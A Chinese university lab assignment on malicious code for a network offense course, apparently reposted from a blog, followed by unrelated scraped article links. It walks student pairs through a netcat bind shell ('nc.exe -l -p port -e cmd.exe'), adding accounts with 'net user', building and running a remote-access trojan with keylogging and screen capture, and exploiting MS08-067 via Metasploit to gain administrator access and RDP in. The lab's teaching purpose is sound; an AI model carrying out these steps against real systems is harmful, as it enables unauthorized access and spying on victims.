实验报告四 201521430002 张实
学 号 201521430002
中国人民公安大学
Chinese people’ public security university
网络对抗技术
实验报告
实验四 |
恶意代码技术 |
学生姓名 |
张实 |
年级 |
2015级 |
区队 |
三区队 |
指导教师 |
高见 |
信息技术与网络安全学院
2018年10月24日
实验任务总纲
2018—2019学年 第 一 学期
一、实验目的
1.通过对木马的练习,使读者理解和掌握木马传播和运行的机制;通过手动删除木马,掌握检查木马和删除木马的技巧,学会防御木马的相关知识,加深对木马的安全防范意识。
2.了解并熟悉常用的网络攻击工具,木马的基本功能;
3.达到巩固课程知识和实际应用的目的。
二、实验要求
1.认真阅读每个实验内容,需要截图的题目,需清晰截图并对截图进行标注和说明。
2.文档要求结构清晰,图文表达准确,标注规范。推理内容客观、合理、逻辑性强。
3.软件工具可使用NC、MSF等。
4.实验结束后,保留电子文档。
三、实验步骤
1.准备
提前做好实验准备,实验前应把详细了解实验目的、实验要求和实验内容,熟悉并准备好实验用的软件工具,按照实验内容和要求提前做好实验内容的准备。
2.实验环境
描述实验所使用的硬件和软件环境(包括各种软件工具);
开机并启动软件office2003或2007、浏览器、加解密软件。
3.实验过程
1)启动系统和启动工具软件环境。
2)用软件工具实现实验内容。
4.实验报告
按照统一要求的实验报告格式书写实验报告。把按照模板格式编写的文档嵌入到实验报告文档中,文档按照规定的书写格式书写,表格要有表说图形要有图说。
任务一 利用NC控制电脑
NetCat,具有网络军刀之称,它小巧精悍且功能强大,说它小巧精悍,是因为他的软件大小现在已经压缩到只有十几KB,而且在功能上丝毫不减。
实验过程需要两个同学相互配合完成:
步骤一:
在受害者的机器 (同学A)
输入下面的命令:
nc.exe -l -p port -e cmd.exe 进入监听模式
步骤二:
在攻击者的机器.(同学B)
输入下面的命令:
nc ip port //连接victim_IP,然后得到一个shell。 (需要截图)
步骤三:
在shell中,利用net user 用户名 密码 /add ,添加一个用户,并在受害者的机器中使用 net user命令进行验证。(需要截图)
可以继续通过命令行做一些事情。
任务二 利用木马控制电脑
实验过程需要两个同学配合:
步骤一:
攻击者的机器. (同学A)
打开V2014.exe程序或则star RAT,这两个木马功能类似。
步骤二:
点击菜单栏中的“服务生成”,在弹出的配置服务端中,配置回连IP地址(攻击者IP)和端口号,并点击“生成”按钮,生成木马服务端。
步骤三:
将生成的木马可执行程序拷贝到受害者的机器,并双击运行。
步骤四:
在控制端中查看木马上线情况,并对以下功能每个进行测试和截图。
1.文件管理,尝试拷贝文件
2.屏幕控制,尝试获取桌面
3.键盘记录,尝试获取对方击键记录
4.会话管理,重启对方机器,查看是否能自启动上线
会话管理,卸载对方的木马。
任务三 通过漏洞获取shell(合天平台中做) 所有过程截图写博客
windows ms08067 漏洞利用
在平台中获取shell之后,继续利用攻击机器使用
net user user pass /add
net localgroup administrators /add
命令向被攻击的机器中添加账户,并提升为管理员
然后用rdesktop 10.1.1.130 登陆对方的远程桌面
关闭xp系统主机的防火墙
查看攻击主机的ip地址和账户
启动Armitage
检索10.1.1.0/24网段
对130进行检测
搜寻到适应的攻击模块
配置攻击信息
利用Metasploit shall获得xp主机的管理员权限
利用cmd shall建立attacker的账户
利用rdesktop远程登录xp系统的attacker(密码:123465)
转载于:https://www.cnblogs.com/P201521430002/p/9873167.html
实验报告四 201521430002 张实相关推荐
- c 语言差错编码实验结果,C语言程序设计实验报告(四).doc11111111111111111.doc
C语言程序设计实验报告(四).doc11111111111111111 C语言程序设计实验报告 姓 名吴文重学 号52系 别数学系班级2班主讲教师徐时芳指导教师徐时芳实验日期2011-11-8专业10 ...
- matlab m文件的编写,Matlab实验报告(四)M文件的编写.doc
Matlab实验报告(四)M文件的编写.doc 实验目的 学习MATLAB屮的关系运算和逻辑运算,掌握它们的表达形式和川法. 掌握MATLAB中的选择结构和循环结构. 学会用MATLAB进行M文件的编 ...
- Java实验实现一个circle类_Java实验报告四
Java实验报告四 一.题目 1.根据下面的要求实现圆类Circle. 1).圆类Circle的成员变量:radius表示圆的半径. 2).圆类Circle的方法成员: Circle():构造方法,将 ...
- 离散数学实验报告四——图的应用
离散数学实验报告四--图的应用 预习内容: 1.图的基本概念 1.1图的定义:现实世界中许多现象能用某种图形表示,这种图形是由一些点和一些连接两点间的连线所组成. 1.2邻接点: 同一条边的两个端点. ...
- OpenGL南邮计算机图形学实验报告四——用键盘控制物体
OpenGL南邮计算机图形学实验报告四--用键盘控制物体 计算机图形学的新题目要求 OpenGL配置参考: 南邮老前辈wonz哥的OpenGL配置(Shader.h始终不用改).SOIL2 环境配置. ...
- mysql数据库实验报告四
实验报告四 实验目的: 实验内容和主要步骤: 实验中遇到的问题和心得体会: 实验目的: 1.熟练掌握SQL的常用数据更新操作. 2.熟练应用INSERT,UPDATE,DELETE语句. 3.掌握更新 ...
- 计算机组成ldi指令码,计算机组成原理 实验报告四(含答案).docx
文档介绍: 计算机组成原理_实验报告四(含答案)湖南科技学院电子与信息工程学院实验报告课程名称:姓名:学号:专业:班级:指导老师:实验四微程序控制组成实验一.实验目的及要求1.将微程序控制器同执行部件 ...
- 矩形法求定积分公式MATLAB,Matlab实验报告四(矩形法梯形法抛物线法求定积分).doc...
Matlab实验报告四(矩形法梯形法抛物线法求定积分) 数学与信息科学系实验报告 实验名称 定积分的近似计算 所属课程 数学软件与实验 实验类型 综合型实验 专 业 信息与计算科学 班 级 学 号 姓 ...
- 模型机设计计算机组成原理报告,计算机组成原理 实验报告四 基本模型机设计与实现...
计算机组成原理 实验报告四 基本模型机设计与实现 计算机组成原理实验报告学院:计算机科学与信息 专业: 班级:姓名 学号 实验组实验时间 指导教师 成绩实验项目名称 实验四.基本模型机设计与实现实验目 ...
最新文章
- cli vue 卸载,vue Cli 环境删除与重装教程 - 版本文档
- 不用asp.net MVC,用WebForm照样可以实现MVC(请看最后一句话)
- PHP 学习笔记 01
- Windows下oracle RMAN备份脚本
- 关于示波器地线的问题!
- Docker 在容器中部署静态网站
- 开源与自由 | 商业自由:从边缘到核心贡献
- android 入门-android Studio 配置
- Matplotlib Toolkits:python高级绘图库seaborn
- 【图像增强】基于matlab暗通道先验图像去雾【含Matlab源码 1367期】
- ZOJ 3432 Find the Lost Sock (水题)
- CDA学习笔记-指标
- 计算机桌面死机的原因是,假死机(电脑桌面假死或卡死)
- FST(Finite-State Transducer) 原理
- 服务器终端性能测试之MBW内存测试
- 2017最新淘宝高转化详情页排版技巧(转载)
- elasticsearch - java - 高级篇 - 封装类 - 2
- 关于发布后网站调用本地exe的曲线救国之路
- ConstraintLayout 流式布局:Flow的用法
- OBS Studio软件及多端推流插件的安装教程
热门文章
- dapper框架_.net core 基于Dapper 的分库分表开源框架(core-data)
- django view返回form error_Django(解决被钓鱼CSRF、Django中间件、反射)
- echarts echarts.js:440 Uncaught TypeError: Cannot read properties of null (reading ‘toFixed‘)
- python源码_Python爬虫入门之获取网页源码
- IDEA报错 com.microsoft.sqlserver.jdbc.SQLServerException : 列名或所提供的数目与表定于不匹配
- linux登录日志保存多久,Centos清除系统日志和登录记录-Linux清除系统日志和登录记录的方法-吾爱编程网...
- php7 返回静态类,PHP7 – 未捕获错误:访问未声明的静态属性
- Java:List判空的条件:List=null 和 List.size = 0 当需要对一个LIst进行判空操作时我们可使用如下两个语句:
- android多个网络请求如何依次执行,Android 并发和串行网络请求
- java 冒泡算法_关于java中的冒泡算法